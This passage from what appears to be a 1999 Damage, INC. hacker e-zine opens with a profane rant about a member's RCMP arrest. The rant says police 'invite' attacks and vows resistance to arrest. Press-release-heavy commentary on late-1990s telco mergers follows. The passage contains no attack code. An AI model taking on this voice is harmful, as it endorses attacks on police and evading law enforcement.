for non-law enforcement personnel to +be present at the time of a search and seizure, witnessing the arrest? Plus, +even though this will be his first offence, they admitted that they want to make +an example out of him in court while interrogating him. Is it proper to make +statements such as that while the person is supposed to be innocent until proven +guilty? Fuck the RCMP and their lame investigations of innocent people. They +victimize people without any reason or cause. In my opinion THC Phreak is +being used as a scapegoat and they gave him the shortest straw. They want to +punish someone, *anyone* for what they believe to exist in Quebec. That is, +they actually think he's involved in some sort of crime ring. +Obviously he isn't and the so-called conspiracy they're seeking to unravel is +only real in their puny minds. So, they hastily decided to go after him and +make him into their poster boy of the moment. + +I had instructed THC Phreak before this that if something like this ever +happens, not to volunteer any information or say anything that would harm him +or the rest of the group. However, I'm sure that I'm under investigation now +as well... even though I don't believe he would turn on us and rat us out like +that. In my last brief conversation with him, I advised him to get a competent +lawyer that understands the laws pertaining to "computer crimes". I also told +him that I'd assist him in whatever ways I can, including testifying on his +behalf (as a character witness or whatever) if necessary. + +Finally, I just want it to be known that THC Phreak won't be forgotten. He +won't just fade to black. Even though I only knew him for approximately a +year, I consider him to be a good friend of mine. In that short time, I +spoke with him often enough to get to know him well. It is of my opinion +that he won't just quit and allow "the system" to destroy him. Meaning, I +honestly don't think he'll plea bargain with them and plead guilty. He always +said that he'd fight it out, and I believe he will fight until the end. +Hopefully he'll win, but with the fucked up laws in this country, in order to +be found not guilty he'll have to go against the odds that are stacked against +him. At this point, nothing is in his favour, including his age. So, he does +have a fighting chance, but it won't be easy by any means. + +The RCMP just invites these kinds of attacks against them. I'm definitely +not going to back down from those corrupt pigs, even though it could be used +against me as "evidence". In fact, I don't give a fuck what happens. If they +want to try to arrest me, they will meet some opposition as I'm not just going +to lay down and die. So, a resounding "FUCK YOU!" goes out to the Royal +Canadian Mounted Police force and their petty show of force. We're never going +to back down, so if you want to fuck with Damage, INC. then go right ahead. + + +ADVISORIES - {ADVISORIES} +More information on telco mergers and alliances. + +In the last two months, telcos all over the world have been busy merging into +a conjoined mess of bigger, fatter telcos. While it isn't possible for us to +tell you about every telco merger, we will keep you informed on what the +greediest telcos are doing. If you want to keep track of all telco mergers, the +internet is a good tool for that. On the Damage, INC. web site, there is a +links page dedicated to telcos. That is a good starting point. + + "MCI WorldCom and Bell Canada Forge Strategic Alliance" + ----------------------------------------------------- + +On March 3, 1999, MCI WorldCom and Bell Canada announced that they have formed +an alliance to "provide seamless North American and global services to +customers." The alliance will create an opportunity for businesses to use MCI +WorldCom's and Bell Canada's resources to obtain North America wide voice and +data services, as well as MCI WorldCom's On-Net global services from a "single +point of contact." + +This alliance has been brewing since 1992, as Bell Canada has been developing a +closer relationship with MCI WorldCom. Together, those customers that want to +use the alliance cab gain access to MCI WorldCom's On-Net, which boasts of being +"the industry's" first single, high-capacity, end-to-end network." Bell's +network is a monopoly that has over seven million residential customers and does +business with Canada's biggest and greediest businesses. Their Canadian +customers will have "easy access" to MCI WorldCom services that Bell is unable +or unwilling to provide. + +"MCI WorldCom's agreement with Bell Canada strengthens the competitive positions +of both our companies. By partnering with Bell Canada, we extend the MCI +WorldCom On-Net global services portfolio into Canada, building upon the +company's seamless North American network platform," said Walter Schonfeld, +senior vice president, Alliances, MCI WorldCom. "MCI WorldCom experienced 120 +percent growth in Canada-U.S. cross-border data communications over the past two +years alone, already the largest business telecommunications corridor in the +world," added Schonfeld. + +Terry Jarman, president and CEO of Bell Nexxia, added "to reach out to new +markets, streamline operations, and generate new revenues, Bell's customers need +to be able to conduct business on a North American and a global basis as +effortlessly as they do at home. By working with MCI WorldCom, we will deliver +this competitive advantage to our customers." + +Specific services that Bell Canada can extend to its customers through MCI +WorldCom are "an enhanced set of voice and data products including managed +international private line, frame relay, ATM and virtual voice and call center +services." In return, Bell Canada will give MCI WorldCom all its non-Canadian +customers that currently obtain similar (poorer) services. + +Bell and MCI WorldCom estimate that the alliance will be active in the first +quarter of 2000. Bell Canada's masterstroke is that this alliance kills the +deal that MCI WorldCom has with the (Canadian) Stentor Alliance. The Stentor +Alliance is a weak group of Canadian telcos, most of which are owned by BCE. +Customers that are in other Canadian telco monopoly regions (BCT.Telus, etc.) +will continue to obtain services from MCI WorldCom until the alliance with Bell +Canada takes full effect. + +"MCI WorldCom is a global communications company with revenue of more than +$30 billion and established operations in over 65 countries encompassing the +Americas, Europe and the Asia-Pacific regions. MCI WorldCom is a premier +provider of facilities-based and fully integrated local, long distance, +international and Internet services. MCI WorldCom's global networks, including +its state-of-the-art pan-European network and transoceanic cable systems, +provide end-to-end high-capacity connectivity to more than 40,000 buildings +worldwide. For more information on MCI WorldCom, visit the World Wide Web at +www.wcom.com ." + +"Bell Canada, the largest Canadian telecommunications operating company, markets +a full range of state-of-the-art products and services to more than seven +million business and residential customers in Ontario and Quebec. Bell Canada's +Internet web site is located at www.bell.ca ." + + "AT&T Canada to Merge with MetroNet Communications" + ------------------------------------------------- + +On March 4, 1999, America's Ma Bell continued its cable buying rampage as they +acquired 31% of MetroNet Communications, Canada's biggest "facilities-based +competitive local exchange carrier (CLEC)." The deal is worth $7 Billion. +It was accomplished through Ma Bell's Canadian subsidiary, AT&T Canada. + +"The merger of MetroNet and AT&T Canada will create Canada's premier +telecommunications company, to be called AT&T Canada Corp. The merged company +will be the first national, network-based company to meet all of the telecom +needs of Canadian business customers with one-stop shopping for local and long +distance voice, data, Internet and electronic commerce solutions, as well as +wireless services through Cantel AT&T." + +When the merger is approved, AT&T Canada will have an estimated revenue stream +starting at $1.4 billion, 4000+ employees, and over $3.5 billion in assets. + +"The merger combines AT&T Canada's extensive customer base, nation-wide +facilities-based long distance network, powerful brand and global reach with +MetroNet's state-of-the-art telecommunications facilities, data networks and +over $900 million of cash to execute its strategy." + +Because of Canadian regulations that currently don't allow foreign ownership of +telecom companies (GTE's ownership of BC Tel predates this law), AT&T Corp. owns +31% of shares, while Metronet shareholders will "indirectly" own 69%. The +merged company, which will include ACC TelEnterprises, will market its services +under the AT&T Canada brand. Once Ma Bell is allowed to own Canadian companies, +I'm certain that they'll "complete" the transaction by owning 100% of the new +AT&T Canada. + +In fact, Ma Bell wants to purchase all the outstanding shares through another +Canadian entity to get around the Canadian regulation. All of the shares +currently held by MetroNet shareholders for the greater of at least C$75 per +share or the then appraised fair market value, AT&T shares, or a combination +of both. The exact timing will likely be partially dependent upon the future +status of federal foreign ownership regulations. + +"The complementary strengths and assets of these companies make the `fit' of + this merger perfect for customers," said Dan Somers, Chairman of AT&T Canada + Corp. and Senior Executive Vice President and Chief Financial Officer of AT&T. + "MetroNet customers gain access to AT&T Canada's established long-distance + voice and data network and the vast AT&T global network; AT&T Canada customers + gain access to the country's most modern local service networks." + +"This transaction is fantastic for our customers, our shareholders, and Canadian + telecommunications overall," said Craig Young, President and Chief Executive + Officer of MetroNet Communications. "Our customers will immediately have + access to not only an advanced, end-to-end national network for `any distance' + and `any bandwidth' service, but to a global network and services, supported by + the world's preeminent name in telecommunications." + +"The boards of directors of the companies have approved the transaction, which +MetroNet shareholders will be asked to approve at a shareholder meeting expected +to be held in May, 1999. If approved by MetroNet shareholders, the merger of +the companies is expected to be completed by the end of the second quarter of +1999." + +The combined company will try to sell "a full suite of advanced business +telecommunications solutions completely over a state-of-the art network, from +basic local dial tone to global data networking." + +"The network of the combined company will boast national, high-speed fibre-optic +capabilities with unequalled bandwidth for local and long distance voice, data +and Internet services. Backed by the unparalleled reliability of SONET rings +and with more border crossings than any other telecommunications provider in +Canada, the merged company will be able to deliver the finest global solutions +of any telecom company in Canada." + +"A new Board of Directors for MetroNet with 12 members will be assembled, on +which AT&T Corp. will have 4 seats upon consummation of the transaction." + +"Jim Meenan will serve as Vice Chairman and Chief Executive Officer of the new +company, Craig Young will serve as Vice Chairman and President, and Bob Bicksler +will serve as Executive Vice President and Chief Financial Officer. Other +senior management appointments will be announced as merger integration +planning commences and the new board is assembled." + + Merger of AT&T Canada and MetroNet Communications + Summary of Combined Company + +Combined Company Name: AT&T Canada Corp. + +Estimated 1999 Revenues: Approximately $1.4 billion (85% from business + customers). + +Property, Plant and Equipment: Nearly $2.0 billion. + +Total Assets: More than $3.5 billion. + +Total Employees: More than 4,000. + +Sales Employees: More than 700. + +Local Service Access Lines: Approximately 200,000. + +Long Distance Minutes: Approximately 5 billion. + +Internet subscribers: Approximately 165,000. + +Buildings Accessed: Over 2,400. + +Fiber Optic Intracity Route Kilometres: More than 3,800. + +Fiber Optic Long Distance Route Kilometres: Nearly 16,000 (includes intercity +and cross border fibre routes currently being constructed by MetroNet). + +Frame Relay Switches: More than 70. + +ATM Switches: More than 400. + +About AT&T Canada Corp.: + +AT&T Canada Corp., a pioneer in competitive long distance, is a national, +facilities-based telecommunications carrier serving business and residential +customers with a variety of long-distance voice and data services. AT&T Canada +delivers service from 147 offices across the country, including 40 sales +offices. ACC TelEnterprises, a member of the AT&T Canada family, is one of +Canada's largest resellers of telecommunications services, including long +distance, Internet, paging, toll free, local line and data services, and is a +particularly strong competitor in the university, affinity and small business +markets. More information about AT&T Canada can be found on the company's web +site at: www.attcanada.com. + +About MetroNet Communications: + +Built for Business', MetroNet Communications is Canada's first national provider +of local telecommunications services and the country's largest competitive local +exchange carrier (CLEC). Deploying the most advanced fibre-optic networking and +switching platforms, MetroNet offers business and government customers across +the country a full suite of local and long distance voice, data and Internet +services with one point of contact, excellent customer service and competitive +pricing. MetroNet is a public company with its common stock traded on the +Toronto and Montreal stock exchanges under the symbol MNC.B and on the NASDAQ +National Market System under the symbol METNF. Visit MetroNet's web site, +www.metronet.ca , for more information about the company. + + "BCE and Ameritech Form Strategic Partnership" + -------------------------------------------- + +BCE, Canada's Ma Bell, has been crying lately that it isn't fat enough to +compete globally. Well, on March 24, 1999, BCE added $5.1 billion in Canadian +funds to its girth. In exchange, BCE's new partner Ameritech obtains 20% of +Bell Canada, BCE's most engorged, monopolistic child. + +"Under terms of the partnership, Ameritech will invest approximately C $5.1 +billion (US $3.4 billion) for a 20% minority stake in Bell Canada, a +wholly-owned subsidiary of BCE and Canada's premier telecommunications company, +which is being reorganized to hold certain telecommunications assets previously +held by BCE. Following the investment, BCE will retain 80% ownership of Bell +Canada. The binding agreement has received approval of the companies' boards +of directors and is expected to close by the end of May, pending customary +regulatory approvals." + +"This partnership assures Bell Canada's place at the forefront of the global +communications industry," said Jean C. Monty, BCE president and chief executive +officer, "while keeping Bell Canada firmly under Canadian control. The +partnership with Ameritech a talented, high-performance partner with a global +record of success significantly augments the scale and resources of Bell +Canada and will translate into greater choice, and innovation for our +customers." + +Monty stated that BCE would use the money to invest in its other children that +are involved in "high-growth sectors such as electronic commerce, satellite +services, systems integration and content." BCE is also considering a share +buy-back program to partially offset the loss of revenue caused taking only 80 +percent of Bell Canada's huge profits. Typical BCE behaviour. They gain $3.4 +billion in American cash, and still cry poor because they lose 20% of Bell +Canada's money pot. + +"Ameritech is excited to partner with Bell Canada, which will strengthen our +international position and speed our global growth," said Richard C. Notebaert, +chairman and chief executive officer of Ameritech. "As the largest foreign +investor in European communications, Ameritech brings Bell Canada unparalleled +experience in international partnerships. Through this strategic partnership +we will share best practices, speed new products to market and develop new +growth opportunities--delivering benefits to customers, shareowners and +employees in Canada and the United States." + +As mentioned above, there must be restructuring within BCE and Bell Canada +in order to complete the transaction. First of all, Bell Canada and +Ameritech will trade people (just like any other commodity to these fat cat +companies), cooperation in sales and marketing, and the exchange of +operational knowledge and strategic skills. + +Bell Canada had to be fattened like a sacrificial cow in order for it to be +attractive to Ameritech. BCE will give Bell Canada the following: 65% of +BCE Mobile Communications Inc., BCE's equity in NewTel, Bruncor (holding +company for NBTel), MT&T, Northwestel, and T‚l‚bec. Bell Canada will also +retain possession of its shares of BCE Nexxia, Bell ActiMedia, and Manitoba +Telecom Services Inc. Basically, BCE is sharing with Bell Canada the title of +"Ma Bell." Based on these holdings and on a pro forma basis, Bell Canada had +1998 revenues of C $12.7 billion (US $8.3 billion), assets of C $20 billion +(US $13.2 billion) and 43,000 employees. + +Ameritech and Bell Canada will also share technologies, like Ameritech's +new Privacy Manager service (see REPORTS FROM THE FRONT for more details) +and Bell Canada's profitable voice mail services. + +BCE Inc./Bell Canada/Ameritech + +Highlights of terms of the partnership: + +A. Ameritech to make a 20 per cent equity investment for C $5.1 billion (US + $3.4 billion) + +B. Key features of the agreement will include: + + o Marketing sales co-operation + o Exchange of know-how + o Traffic exchange + o Seek other business opportunities + +C. Ameritech is entitled to: + + o Nominate two directors to the Bell Canada board (out of ten). + o Nominate one director to the BCE Mobile board. + o Appoint the CFO of Bell Canada. Plus the two way exchange of + approximately 15 professionals. + +D. The agreement also provides for other customary rights between the two + companies. + +Reorganization of Bell Canada: + +Bell Canada will acquire from BCE the following investments: + +* 65% of BCE Mobile Communications Inc., a wireless company with 2 million + customers. +* 21.5% of Teleglobe Inc., a provider of international telecommunications + services +* BCE's equity investments in six regional Canadian telecommunications + companies. + +Bell Canada will transfer to BCE: + +* its investments in BCE Emergis Inc., an electronic commerce company +* its investments in CGI Group Inc., the largest information technology + consulting company in Canada +* its investment in Telesat Canada, the country's leading satellite + services supplier + +As a result, on a net aggregate basis, Bell Canada will be acquiring C $4.1 +billion of additional investments at market value (C $2.8 billion book +value) in telecommunications services companies and will be assuming C $2.4 +billion of additional indebtedness owed to BCE. + + Four Atlantic Canada Telcos merge to form AtlanticCo. + ----------------------------------------------------- + +On March 22, 1999, Maritime Telephone & Telegraph Co., Bruncor Inc. (holding +company for NBTel), Island Telecom Inc. and NewTel Enterprises announced that +they would be merging into a new company named AtlanticCo. Although this merger +was very newsworthy in Canada, it is a joke. MT&T, Bruncor, and NewTel are all +owned by BCE. As you read above, Bell Canada will gain control of these three +telcos once the partnership with Ameritech is finalized. Island Tel has been +joined with fat BCE at the hip for decades, and is a proud member of the Stentor +Alliance. The truth of the matter is that these four telcos have all been +puppets of BCE since the beginning as far as Damage, INC. is concerned. + +The name of the new company is "AtlanticCo". "With an initial market +capitalization of $2.8 billion, it will be launched as a growth company with +four core lines of business: telecommunications, information technology (IT), +mobile satellite communications, and emerging business. The merged company +would be one of the largest private sector employers in Atlantic Canada, with +almost 9,000 employees. Stephen Wetmore, President & CEO of NewTel +Enterprises, has been named President & CEO of the new company, and Lino +Celeste, Chairman of Bruncor, has been named Chairman of the Board of +Directors." + +After the merger takes effect, AtlanticCo will become the third largest +telco in Canada, behind Bell Canada and BCT.Telus. AtlanticCo has +estimated total revenues of $1.7 billion. AtlanticoCo companies boast that +they will be "one of the largest mobile satellite service companies in the +world." Seems like the telcos are still extremely rich, even though a lot +of their customers can't find employment. + +"In addition, our combined IT operations, with more than 1,800 professionals, +will make us the second largest Canadian owned information technology services +company," said Fred Morash, president of Island Tel. "As well, our range of +investments in emerging businesses, positions AtlanticCo for growth in these +emerging markets." + +As Damage, INC. has known for years, Morash stated that AtlanticCo "is deepening +its relationship with BCE and the Bell Canada subsidiaries." "We have entered +into a Strategic Alliance Agreement with BCE which gives us access to +intellectual property and telecommunications services which we can then deliver +to our customers," he said. + +Despite the fact that the four Atlantic Canada telcos are merging, they are all +going to keep their current names. As an example, Morash stated at the press +conference that the Island Tel logo will still be used on Prince Edward Island +because they want to fool customers into assuming that nothing has changed. +They want customers to believe that the Atlantic telcos don't want to be big and +fat... like telcos in the rest of the world. These telcos have a terrible lack +of respect for the intelligence of their customers (just like the other telcos +around the world). + +AtlanticCo's information technology business represents the aligning of two +Atlantic Canada-based IT powerhouses: xwave solutions and MITI. "We will grow +our IT business by focusing on the total technology needs of clients in telecom, +oil and gas, and public sectors worldwide," Morash said. "We will be adding to +our 1,800 employees in our centres of expertise across the country and +internationally." AtlanticCo IT business units are located in St. John's, +Halifax, Saint John, Fredericton, Charlottetown, Calgary, Edmonton, and Dallas. + +The mobile satellite communications business will be driven through AtlanticCo's +60% ownership in Stratos Global Corporation. Through this investment AtlanticCo +will be a major player in satellite communications worldwide. + +Morash emphasized that AtlanticCo, in line with the general restructuring which +has been taking place in the industry, will see a rebalancing of employment from +traditional areas of operation to the growth areas of the business. These +losers will never admit that a huge factor in mergers is to eliminate jobs. +Such is the case of the new AtlanticCo. + + Bell Canada moves into security + ------------------------------- + +Bell builds ``smart home'' foundation with Bell Gardium + +Montr‚al, Qu‚bec (March 17, 1999) - By moving into the security industry +with Bell Gardium security products, Bell Canada is taking the first step +toward providing a full range of automated services for the residential and +business markets. This move will springboard Bell into the future of the +``smart home'' concept, by providing integration of video, audio and data +systems to automate and manage appliances. + +``In the near future, probably using an Internet platform, Bell Gardium +will integrate many smart home features,'' said Louise Villeneuve, Vice +President, Home Services, Bell Canada, and Chief Operating Officer, Bell +Gardium. ``Consumers will be able to use Bell Gardium products to create an +intelligent home or office system that can, for example, turn on lights, +boot up a computer, control a sprinkler system, manage energy consumption +or warm up the cottage for Friday evening arrival.'' + +Bell's entry into the residential and office automation market will allow +homes and businesses to improve their security, comfort and communications. + +Bell Gardium security products + +The company is capitalizing on the 20 per cent growth rate expected in the +home security business. By 2005, it is estimated that 25 to 33 per cent of +North American households will be equipped with monitored security systems. + +``Bell Gardium security products help fulfill Bell's strategy to be a +full-service company that responds to consumers' needs, be they +communications, information, transactions or entertainment,'' Villeneuve +added. ``Bell's reputation for reliability, customer service and advancing +new technologies sets the stage for Bell Gardium and its commitment to +offer added value to its residential and business customers.'' + +Bell Gardium products are monitored security systems that provide safety, +security and peace of mind by protecting property from burglary, smoke and +fire, natural gas or propane leaks, flooding, sump pump failures or heating +malfunctions. Consumers can obtain Bell Gardium security products at +competitive prices and benefit from discounts from 5 to 20 per cent on +household insurance. + +Bell Gardium also provides magnetic access-card control to restrict entry +into sensitive areas or closed-circuit television for monitoring locations +such as hallways or front walks. + +For as little as $24.95 a month, residential and small-business customers +can enjoy peace of mind with Bell Gardium's security package, that includes +the basic equipment and around-the-clock monitoring. Other features such as +additional door and window contacts, smoke detectors and motion detectors +that can differentiate between pets and humans are also available. + +Consumers can purchase Bell Gardium security products by calling +1-877-268-4273 or by visiting Bell Phonecentre stores in Ontario and +T‚l‚boutique Bell and Espace Bell stores in Qu‚bec. Information about Bell +Gardium products can be obtained on the Web site at www.bell.ca/gardium. + +Bell Gardium Inc., formed in 1998 after Bell Canada acquired two security +companies, J. A. Provost of Montr‚al and Via Security Networks of Ottawa, +has approximately 120 employees, offices in Toronto, Ottawa and Montr‚al +with customers across Canada. + + +Bell Gardium is a trademark of Bell Canada. + +For further information: + +Irene Shimoda +Media Relations +Bell Canada +(416) 581-3311 +1 888 482-0809 +irene.shimoda@bell.ca + +Shirley Bishop +Media Relations +Bell Canada +(514) 786-3655 +1 800 465-9625 +shirley.bishop@bell.ca + +I'll leave it up to you to decide whether "Bell" and "security" mix and +whether or not you'd rely on them for protecting and securing your home. +In my opinion though, it's just another example of a monopoly running wild +and trying to usurp other sectors of business. + + "BellSouth Takes 10 Percent Stake In Qwest" + ----------------------------------------- + +On April 19, 1999, BellSouth Corp. and Qwest Communications International +Inc. finalized their "strategic relationship that will significantly accelerate +the companies' efforts to provide a full set of integrated digital data, image +and voice communications services to their customers." + +The two companies have summed up the most important features of their +"relationship." + +*Qwest and BellSouth immediately begin coordinated marketing of services, with +Qwest offering its full portfolio of data networking, Internet and voice +services. BellSouth will offer a full complement of local networking services. + +*Once BellSouth is allowed into the long distance business, the companies will +jointly develop and deliver a comprehensive set of end-to-end, high-speed data, +image and voice communications services to business customers, with a heavy +emphasis on the fast-growing broadband and Internet-based data services. +BellSouth will assume retail leadership with customers based in the South; Qwest +will provide support resources to assist BellSouth in the region as required, +with the primary emphasis of the Qwest sales force will be focused on the rest +of the country. + +*And finally, as part of the agreement, BellSouth will invest approximately +$3.5 billion at $94.50 a share for about a 10 percent equity stake in Qwest. +Qwest will issue 20,350,000 new shares to BellSouth in exchange for +approximately $1.93 billion in cash. At BellSouth's request, Qwest's principal +stockholder, Anschutz Company, will sell 16,650,000 shares to BellSouth for +approximately $1.57 billion. This will reduce Anschutz Company's ownership +interest in Qwest to approximately 39 percent. + +"This is a significant step in our objective of becoming the premier data +communications provider to our customers," said Duane Ackerman, Chairman and CEO +of BellSouth. "This relationship allows our customers to enjoy the range of +benefits from a comprehensive set of Internet and broadband digital solutions." + +"We are delighted to have this strategic relationship with a like-minded, +customer-focused company that is committed to offering customers end-to-end +high-speed communications services and who understands the tremendous potential +the Internet and data communications marketplace has to offer," said Joseph P. +Nacchio, Qwest Chairman and CEO. "Moving forward, the BellSouth/Qwest +relationship will provide customers with a comprehensive communications solution +set and global reach that is unmatched in the industry." + +This strategic alliance will benefit both BellSouth and Qwest when BellSouth and +the rest of the RBOCs are allowed to compete in the long distance market. When +this happens they plan to "offer long distance data and voice services, the +agreement will enable both of them to use each other's assets to develop +infrastructure and/or distribution capabilities in serving their respective +customers across the globe. BellSouth has extensive operations throughout Latin +America as well as significant presence in Europe. Qwest has a stronger +presence in Europe and is beginning to move into the Asia/Pacific and Latin +American regions. In addition, the relationship will also use the strategic +alliances each has with key Internet and technology companies including +Microsoft, Cisco, Lotus and others to the customers' advantage." + + "AT&T and Comcast agree to swap cable systems." + +On May 4, 1999, AT&T Corp. and Comcast Corporation "announced that they had +reached an agreement under which Comcast will be able to increase its cable +subscribers by about two million households and the two companies will +collaborate in bringing competitive local telephone service to Comcast's +customers." This deal leaves the door wide open for Ma Bell to acquire +MediaOne Group, a cable company that Comcast previously had a merger agreement +with. + +"Under the agreement, AT&T and Comcast will exchange various cable systems, +resulting in a net addition to Comcast of approximately 750,000 subscribers. +The swaps are designed to improve each company's geographic coverage by better +clustering its systems. Because Comcast will receive more subscribers than it +is contributing in the swaps, it will pay AT&T consideration having a value of +approximately $4,500 per added subscriber for a total value of $3.0 to $3.5 +billion. The majority of the exchanges are subject to completion of the +AT&T/MediaOne merger, as well as to customary closing conditions." + +"Comcast will also receive an option from AT&T to purchase, over the next three +years, additional cable systems with a total of approximately 1.25 million +subscribers. The exercise of this option is also contingent on the completion +of the AT&T/MediaOne merger. The price for these additional systems is expected +to be consideration having a value of approximately $5.7 billion (subject to +reduction for any long-term debt and other liabilities of the acquired +systems)." In return, Comcast is required to offer Ma Bell's telephony services +in all of its "markets on an expedited basis" after AT&T completes separate +telephony agreements "with at least two other non-AT&T affiliated multiple +system operators." Comcast has been guaranteed the sweetest deal, regardless +how Ma Bell makes out with the other cable companies. + +"These agreements are great news for millions of American families who will now +have a choice in local phone service," said AT&T Chairman and CEO C. Michael +Armstrong. "This transaction makes strategic sense for both companies. +Geographic clustering enables more effective telephony competition. And AT&T is +proud to join with Comcast in bringing AT&T-branded communications services to +its customers." + +"This is a terrific outcome for Comcast shareholders. Through this transaction, +Comcast firmly establishes its leadership role in the industry by becoming the +third-largest cable company, with more than 8 million subscribers. While +growing significantly in absolute terms, we have strengthened our local and +regional presence through additional clustering," said Brian L. Roberts, +President of Comcast Corporation. "In addition to these valuable cable assets, +this agreement greatly accelerates our entrance into telephony and will enable +us to more quickly create and provide important new products to our customers. +This is a different outcome than our MediaOne proposal, but it is an elegant +win-win result." + +"Comcast Corporation is principally engaged in the development, management and +operation of broadband cable networks and in the provision of content through +principal ownership of QVC, Comcast-Spectacor and Comcast SportsNet, a +controlling interest in E! Entertainment Television and through programming +investments." + + Ma Bell acquires MediaOne. + +Scant days after AT&T received approval for its merger with TCI (see last +issue's ADVISORIES for more details), Ma Bell got her hooks into another big +telecom company. On May 6, 1999, AT&T Corp. and MediaOne Group announced that +they "have entered into a definitive merger agreement under which MediaOne +Group's shareowners will receive .95 of a share of AT&T common stock and at +least $30.85 in cash for each share of MediaOne Group stock they own, the +companies said." + +You may have heard that MediaOne finalized a merger agreement with Comcast. +However, MediaOne opted out of that agreement in order to take a much more +lucrative offer from fat Ma Bell. In compensation for being dumped in favour of +Ma Bell, Comcast received a pre-agreed sum of $1.5 billion. + +"This is an excellent agreement for consumers, who will be able to take full +advantage of packaged services on broadband networks," said Chuck Lillis, +MediaOne Group chairman and chief executive officer. "Our shareowners are +getting great value for their investments, and more of the nation will get a +great competitive brand in the local phone market." + +"Obviously, we're delighted," said C. Michael Armstrong, chairman and chief +executive officer of AT&T. "We look forward to completing the merger as soon as +possible, probably in the first quarter of 2000, so millions of consumers will +have more choice in phone and Internet access services." + +"MediaOne Group is one of the world's largest broadband communications +companies, bringing the power of broadband and the Internet to customers in the +United States, Europe and Asia. The company also has interests in some of the +fastest-growing wireless communications businesses outside the U.S. For 1998, +the businesses that comprise MediaOne Group produced $7.1 billion in +proportionate revenue." + + Ma Bell, Micro$oft cut a deal for the "deployment of broadband services." + +The AT&T/MediaOne merger wasn't the only big deal that Ma Bell completed on May +6, 1999. Ma Bell and the corrupt, mega fat cat corporation Micro$oft announced +a "series of agreements in which the companies will work together to accelerate +the deployment of next-generation broadband and Internet services to millions of +American homes." + +"Under the agreements, Microsoft will purchase $5 billion of AT&T securities, +AT&T will increase its use of Microsoft's TV software platform in advanced +set-top devices, and both companies will work together to showcase new digital +cable services in two U.S. cities." + +"We're gratified that Microsoft shares our strategy of using broadband cable to +bring a new generation of digital communications, information and entertainment +services to millions of American families," said AT&T Chairman and CEO C. +Michael Armstrong. "We look forward to expanding our relationship with Microsoft +and adding its creativity and technical know-how to our own. This will +accelerate the work we're already doing with many other software and hardware +companies." + +"Our agreement today represents an important step in Microsoft's vision of +making the Web lifestyle a reality," said Microsoft Chairman and CEO Bill Gates. +"Working with AT&T, a leader in the delivery of cable and telephony +technologies, we will expand access to an even richer Internet and television +experience for millions of people." + +"AT&T said it will increase its use of Microsoft's Windows CE-based operating +system software in its digital set-top devices, which enable applications from a +number of companies to deliver communications, entertainment and information +services. AT&T currently has a commitment to use the Windows CE-based system in +5 million set-top devices. Under the non-exclusive agreement announced today, +AT&T will expand its Windows CE-based license to cover an additional 2.5 million +to 5 million set-top devices." + +"Microsoft will pay $5 billion for newly issued AT&T convertible trust preferred +securities and warrants. The preferred securities, which will have a face value +of $5 billion and be priced at $50 per security, will make a quarterly payment +of 62.5 cents per security. The preferred securities, which will be convertible +into 66.7 million shares of AT&T common stock at a price of $75 per share, will +have a maturity of 30 years, and the conversion feature can be terminated, under +certain conditions, after three years. The warrants will be exercisable in +three years to purchase 40 million AT&T common shares at a price of $75 per +share." + +You may have heard that Micro$oft was interested in acquiring MediaOne out from +under Comcast and Ma Bell. However, Micro$oft got a cut of MediaOne from Ma +Bell through this deal. Micro$oft has gained 29.9% interest in Telewest +Communications plc previously owned by MediaOne through "tax-free exchange of +Microsoft shares, subject to certain approvals." Once again, fat cat companies +have taken an independent company, thus eliminating competition. + + Nortel's Canadian plants waiting for axe to fall + ------------------------------------------------ + +By Robert Cribb Thursday, April 29, 1999 +--------------- +TorStar News Service + + If the hints and innuendo coming from Northern Telecom Ltd. executives offer +any glimpse into the company's future, its Belleville manufacturing plant could +be up for sale soon or closed altogether, say plant workers. Light could be +shed on the subject as early as Friday (April 30) when union officials meet with +management. + "They're not giving us any information," said Diane O'Brien-Harry, +chairwoman of the Canadian Auto Workers Union Local 1839, representing about 480 +workers at the plant. "I've never seen it so closed-mouth. We're just hoping +it's going to be a sale at this point." + And Belleville may only be the beginning. + As the Brampton-based company, which is changing its name today to Nortel +Networks Corp. sheds its home-grown image to become a player in the global +economy, industry watchers say the company's Canadian plants have become and +endangered species. + While Nortel officials are not saying anything about their Canadian +facilities, speculation among Belleville workers has turned to anxiety in light +of recent statements from Nortel executives and a "distinct" change in +atmosphere at the plant where about 1,200 people work. + "There's definitely a lot of concern and stress here," said O'Brien-Harry. +"The company has made it clear that its vision doesn't include manufacturing. +Clearly, there will be an impact here. I wouldn't rule out anything at this +point." + Jacques Guerette, a Nortel spokesman, said that while his company has +already announced an intention to move away from its traditional role as a +manufacturer, it is making no further comments about the Belleville rumours. + "We are looking at our operations globally... but we are not announcing any +specific plans." + At Nortel's Brockville plant, rumours of a sale or closing are also flying, +said Mark Quigley, an analyst with the Brockville-based Yankee Group. + "I know some internal product lines have been moved out. I'm sure every +Nortel facility across the country is thinking the same thing. And sooner or +later they'll start to come true." + In January, Nortel chief executive officer John Roth said his company was +looking to consolidate its hardware production operations in order to focus on +the higher-end--and more lucrative--work of designing and assembling +telecommunications networks. + That fundamental corporate shift will affect up to 8,000 of the company's +80,000 employees worldwide through plant selloffs and layoffs, Roth said. About +25,000 of the company's employees and six of Nortel's 24 plants are in Canada. + Larry Doyle, a committee member of the CAW's Local 1530, which represents +about 230 office and technical workers in Belleville, said evidence of that +manufacturing divestiture was supposed to appear in June. "There's a lot more +panic now because people are looking at that deadline and trying to find +something concrete." + Last week, Clive Allen, executive vice-president and chief legal officer of +Nortel, said that his company and other Canadian high-tech firms facing high tax +rates in this country "owe no allegiance to Canada... Just because we were born +there doesn't mean we'll remain there. Canadians shouldn't feel they own us." + "The place has to remain attractive for us to remain interested in staying +there." + That sentiment is not only an ominous harbinger for the future of Nortel +facilities in Canada, but a slap in the face of Canadian workers responsible for +building Nortel into an internationally competitive telecommunications giant, +said Gerry Pope, president of Belleville's CAW Local 1839. + + TORONTO STAR +----- + +Merger madness isn't restricted to North America. While testing telco links on +the Damage, INC. web site, I discovered information on two recent European telco +mergers proudly displayed on their english index pages. + + "Agreement Between Owners Finalised for Merger of Telenor and Telia" + ------------------------------------------------------------------ + +On March 30, 1999, Swedish telco Telia, and Norwegian telco Telenor announced +that their owners [governments] have finalized the merging of the two companies. +At the time of this press release, Telia and Telenor were still awaiting +acceptance from the EU Commission. Until the merger has been approved by all +the involved parties, Telenor and Telia are still competitors just as they were +before the merger plans were made public. No financial terms were available in +the press releases I read. + +"Now [that the merger is complete] we will be devoting all our energy to +creating an international and expansive telecommunications company. With the +strong position we enjoy on our home markets as our point of departure, our +ambition is to become a leading actor in Europe and globally in areas where the +new company will have unique competence." These are the words of Tormod +Hermansen, the future president and CEO of the merged 